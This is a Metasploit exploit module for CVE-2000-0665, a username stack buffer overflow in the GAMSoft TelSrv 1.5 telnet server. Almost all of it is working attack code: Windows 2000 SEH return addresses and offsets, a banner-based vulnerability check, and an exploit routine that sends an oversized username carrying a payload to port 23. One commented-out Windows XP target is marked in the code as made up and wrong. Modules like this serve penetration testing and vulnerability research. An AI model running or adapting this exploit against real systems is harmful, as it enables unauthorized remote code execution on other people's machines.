GAMSoft TelSrv 1.5 Username Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
      'Description'	=> %q{
          This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
        Other versions may also be affected. The service terminates after exploitation,
        so you only get one chance!
      },
      'Author' 	=> [ 'aushack' ],
      'Arch'		=> [ ARCH_X86 ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2000-0665'],
          [ 'OSVDB', '373'],
          [ 'BID', '1478'],
          [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
        ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
        {
          'EXITFUNC' 	=> 'thread',
        },
      'Payload'        	=>
        {
          'Space'			=> 1000,
          'BadChars' 		=> "\x00\x0a",
          'StackAdjustment' 	=> -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
        [
          [ 'Windows 2000 Pro SP0/4 English REMOTE',
            {
              'Ret'		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
              'Offset'	=> 1886,
            }
          ],

          [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
            {
              'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
              'Offset'	=> 3318,
            }
          ],

          [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
            {
              'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
              'Offset' 	=> 3358,
            }
          ],
=begin
          [ 'Windows XP Pro SP0/1 English',
            {
              'Ret' 		=> 0x71aa32ad, # pop/pop/ret xp pro en ALL
              'Offset'	=> 2600, # this is made up and absolutely wrong ;-)
            }
          ],
=end
        ],
      'DisclosureDate' => '2000-07-17',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(23),
      ])
  end

  def check
    connect
    print_status("Attempting to determine if target is possibly vulnerable...")
    select(nil,nil,nil,7)
    banner = sock.get_once || ''
    vprint_status("Banner: #{banner}")

    if banner.to_s =~ /TelSrv 1\.5/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
    connect
    print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
    select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

    username = rand_text_english(20000, payload_badchars)
    seh = generate_seh_payload(target.ret)
    username[target['Offset'], seh.length] = seh

    print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
    sock.put(username)
    select(nil,nil,nil,0.25)
    print_status('Exploit sent...')
    handler
    disconnect
  end
end